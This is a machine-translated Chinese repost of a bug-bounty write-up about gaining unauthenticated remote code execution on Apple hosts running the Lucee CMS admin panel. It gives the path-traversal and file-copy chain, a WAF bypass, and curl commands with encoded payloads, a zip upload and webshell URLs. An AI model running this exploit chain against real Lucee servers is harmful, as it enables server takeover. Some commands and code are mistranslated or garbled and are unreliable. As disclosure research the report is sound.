寻找0day来入侵Apple_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

寻找0day来入侵Apple

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


寻找0day来入侵Apple

文章来源: EDI安全 #入门 我们将重点放在关键发现上,例如PII暴露或访问Apple服务器/内部网络。这些是我们认为Apple会最感兴趣的错误类型。 #侦查和指纹 在查看侦察数据并确定可能正在运行的服务时,我们发现Lucee支持的CMS上运行的三台主机。 由于CMS和Lucee都可以轻松地在本地托管,因此它们是我们入侵的良好目标。我们选择关注Lucee,因为它公开了管理面板并具有漏洞历史记录。 可以在三台不同的Apple主机上访问Lucee的管理面板。两个正在运行一个过时的版本,另一个正在运行一个相当新的版本。 https://facilities.apple.com/(最新版本) https://booktravel.apple.com/(旧版本) https://booktravel-uat.apple.com/(旧版本) #苹果的WAF行为 要利用我们将在下面讨论的漏洞,我们需要了解Apple所使用的WAF,更重要的是,Facilities.apple.com上的前端服务器如何与之交互。 苹果的WAF非常痛苦。它通过URL(查询参数)阻止几乎所有尝试的路径 SQLi。 Facilities.apple.com上的前端服务器(反向代理)配置为仅显示来自状态代码为200和404的后端服务器的响应。如果在后端获得任何其他状态代码,则前端服务器将改为提供403 ,这与触发WAF时的响应相同。 #LUCEE配置错误 在本地测试Lucee时,我们遇到了严重的错误配置,它使攻击者可以直接访问经过身份验证的CFM(ColdFusion)文件。这使我们可以执行许多已认证的操作,而完全未经认证。 request.admintype在CFM文件中点击变量/属性后,由于我们未通过admin身份验证,因此执行流程将停止。但是,执行该检查之前的所有代码。因此,我们必须先找到具有某种错误的文件,然后再将其击中request.admintype。 我们使用这三个文件在Lucee安装上获得完整的预认证/未认证RCE: · imgProcess.cfm(在较早版本中不可用) · admin.search.index.cfm · ext.applications.upload.cfm #尝试失败 imgProcess.cfm中的Sweet&Simple RCE 为了复制Apple的安装,我们获得了运行相同版本的Lucee的本地副本。imgProcess.cfm没有任何参数的打开使我们的安装出现异常。在苹果服务器上打开该文件,我们得到了403,表示该文件存在。我们只需要指定正确的参数/值即可。否则,后端服务器将引发一个例外,前端服务器将为此服务403。 参数错误- 正确的参数- 该文件具有路径遍历漏洞,可以使用我们给定的内容在服务器上的任何位置创建文件。 这需要一个查询参数,file并使用以下行将其创建为文件 {temp-directory}/admin-ext-thumbnails/__{our-input}。 我们的输入可以通过post参数定义imgSrc。 该目录必须在进行路径遍历之前存在,因为Linux要求在进行遍历之前必须存在路径。expandPath创建不存在的路径并以字符串形式返回该路径。因此,传递file=/../../../context/pwn.cfm将创建目录并遍历webroot中的上下文目录,从而在此处为我们提供了一个ezz RCE。 但是,即使有此错误,我们也无法在Apple的情况下利用它,因为WAF会阻止../in查询参数。该endpoint明确要求file参数为查询参数(url.file,但form.imgSrc)。如果两者都是form或post参数,则不会触发WAF。我们仍然可以使用该endpoint来创建具有我们在某个目录中控制的名称和内容的文件,而无需触发WAF。 现在怎么办?我们如何避免触发WAF? admin.search.index.cfm允许我们指定目录并将其内容复制到所需位置。但是,复制功能非常棘手,实际上不会复制文件内容,也不会保留文件扩展名。 该endpoint采用两个参数: · dataDir · luceeArchiveZipPath dataDir是您要将文件复制到通过luceeArchiveZipPath参数指定的路径。如果该路径不存在,则会创建该路径。我们可以在这里通过绝对路径。 既然复制功能不是标准的,那么要更深入地研究负责此功能的代码。 我们注意到了这个CFML标签: < cfdirectory action = “ list ” 目录= “#luceeArchiveZipPath#” filter = “ *。*。cfm ” name = “ qFiles ” sort = “ name ” /> 它列出了luceeArchiveZipPath目录中的文件。filter属性表示仅列出格式为*。*。cfm的文件。该查询的结果存储在“ qFiles”变量中。 接下来,遍历每个文件(将其存储在变量currFile中),将文件名中的“ .cfm”出现替换为空字符串“”,并将此更新的文件名存储在currAction变量中。因此,如果我们有一个文件test.xyz.cfm,它将变为test.xyz。 < CFSET currAction =替换(qFiles。名,' .CFM ',' ') />   然后,它检查dataDir目录中是否存在诸如“ test.xyz.en.txt”或“ test.xyz.de.txt”之类的文件名。同样,dataDir变量是用户控制的。如果此文件不存在,它将用空格替换文件名中的点('。'),并将其保存到pageContents.lng.currAction变量中。 < cfif fileExists('#dataDir ## currAction#。#lng#.txt ') > < CFSET pageContents [ LNG ] [ currAction ] = FILEREAD('#DATADIR ## currAction#。#LNG#.TXT ',' UTF-8 ') /> < cfelse > <!---确保在搜索文件名时也会找到该页面---> < cfset pageContents [ lng ] [ currAction ] = “#replace(currAction,'。',' ')#“ /> 稍后,将创建文件 test.xyz。 .txt,pageContents.lng.currAction 变量的值将成为其内容。 但是它创建了.txt文件,尽管我们可以控制文件的内容,因为它来自文件名本身。随着进一步的发展,我们将看到如何利用文件名本身来完成工作。 之后,它将currFile的内容存储在data变量中,过滤出内容与正则表达式不匹配的文件 [''"##]stText..+?[''"##],然后将它们放入finds数组中。 < cfset data = fileread(currFile) /> < CFSET认定= rematchNoCase(' [ '' “ ## ] stText .. +?[ '' ” ## ] ',数据) /> 然后,它遍历finds数组,并检查每个项是否作为键存在。如果没有,它将创建它作为键并将其存储在searchresults变量中。 最后,这些键(即searchresults变量)以JSON格式存储在dataDir目录内名为“ searchindex.cfm”的文件中。 cffile action = “ write ” file = “#dataDir#searchindex.cfm ” charset = “ utf-8 ” output = “#序列化(searchresults)#” mode = “ 644 ” /> 在Facilities.apple.com上执行远程代码 .imgProcess.cfmadmin.search.index.cfm 我们控制了一个目录,可以在其中复制文件(dataDir参数),并可以指定一个目录来复制文件(luceeArchiveZipPath参数)。 如果我们可以在服务器上的某处创建一个名称 server..cfm为内容的文件"#stText.x.f#", 则可以通过luceeArchiveZipPath将其路径传递给admin.search.index.cfm。由于此密钥 server..cfm 不存在,它将创建它并将其写入名为searchindex.cfm的文件中。这意味着我们可以在使用dataDir参数指定的任何目录中的searchindex.cfm文件中控制CFML标签(类似于PHP标签),这意味着我们可以使用webroot路径在服务器上执行代码! 我们可以利用它在目标文件系统上imgProcess.cfm创建一个文件server..cfm,其内容与RegExp相匹配[''"##]stText..+?[''"##]。 这种尝试不会触发WAF,因为我们不在这里进行路径遍历。 #取得外壳的步骤 创建一个以 server..cfm 内容命名的文件 "#stText.x.f#"(以匹配正则表达式)。我们将对文件名进行URL编码,因为后端(tomcat)不喜欢某些字符。 curlXPOST 'https://facilities.apple.com/lucee/admin/imgProcess.cfmfile=%2F%73%65%72%76%65%72%2e%3c%63%66%66%69%6c%65%20%61%63%74%69%6f%6e%3d%77%72%69%74%65%20%66%69%6c%65%3d%23%55%72%6c%5b%27%66%27%5d%23%20%6f%75%74%70%75%74%3d%23%55%72%6c%5b%27%63%6f%6e%74%65%6e%74%27%5d%23%3e%2e%63%66%6d'data'imgSrc="#stText.Buttons.save#" 复制文件名以准备执行代码 curl 'http://facilities.apple.com/lucee/admin/admin.search.index.cfmdataDir=/full/path/lucee/context/rootxharsh/&LUCEEARCHIVEZIPPATH=/full/path/lucee/temp/admin-ext-thumbnails/__/' 编写外壳以触发代码执行 curl https://facilities.apple.com/lucee/rootxharsh/searchindex.cfm?f=PoC.cfm&content=cfm_shell 访问 webshell- https: //facilities.apple.com/lucee/rootxharsh/PoC.cfm #剥削要领 通过Lucee,我们知道它允许使用协议/方案,如zip//,file//等(我们在此利用链中使用了该协议),因此我们可以在文件系统功能完全受控的任何地方指定这些方案输入(在这种情况下为luceeArchiveZipPath)。 现在,我们可以利用ext.applications.upload.cfm创建.lex文件,这将有包含一个文件名为ZIP档案server. .cfm与"#stText.x.f#"作为内容。 一旦将ZIP存档保存在文件系统上,就可以使用luceeArchiveZipPath变量中的zip://在ZIP存档中查询*。*。cfm文件;)。 #在其他两台主机上获取shell · 创建一个以 server..cfm 内容命名的文件,"#stText.x.f#"并将其压缩为payload.lex 上传.lex通过在上述未认证.lex文件上传文件ext.applications.upload.cfm curl-vv-Fextfile=@payload.lex https://booktravel.apple.com/lucee/admin/ext.applications.upload.cfm lex在文件系统上配备了任意文件(zip存档)和zip://方案之后,我们可以执行以下操作: curl https://booktravel.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/web/context/exploit/&luceeArchiveZipPath=zip: ///full/path/lucee/web/temp/payload.lex 现在,我们名为的文件 server..cfm 已作为文本添加到下面的searchindex.cfm文件中 //context/exploit/,我们可以通过以下方式访问 https://booktravel.apple.com//exploit/searchindex.cfm. https://booktravel.apple.com/lucee/exploit/searchindex.cfm?f=test.cfm&output=cfml_shell 发出请求将创建我们的webshell 网络外壳: https ://booktravel.apple.com/lucee/exploit/test.cfm ? cmd = id 有payload平衡器,所以我们不得不使用入侵者来找到我们的外壳 #结论 Apple迅速解决了该问题,但要求我们在进行其他更改之前不要披露此问题。对于这些问题,Apple给予我们总计50,000美元的奖励。 另一方面,Lucee团队还通过限制直接访问cfm文件(这是commit链接)来修复该错误。

寻找0day来入侵Apple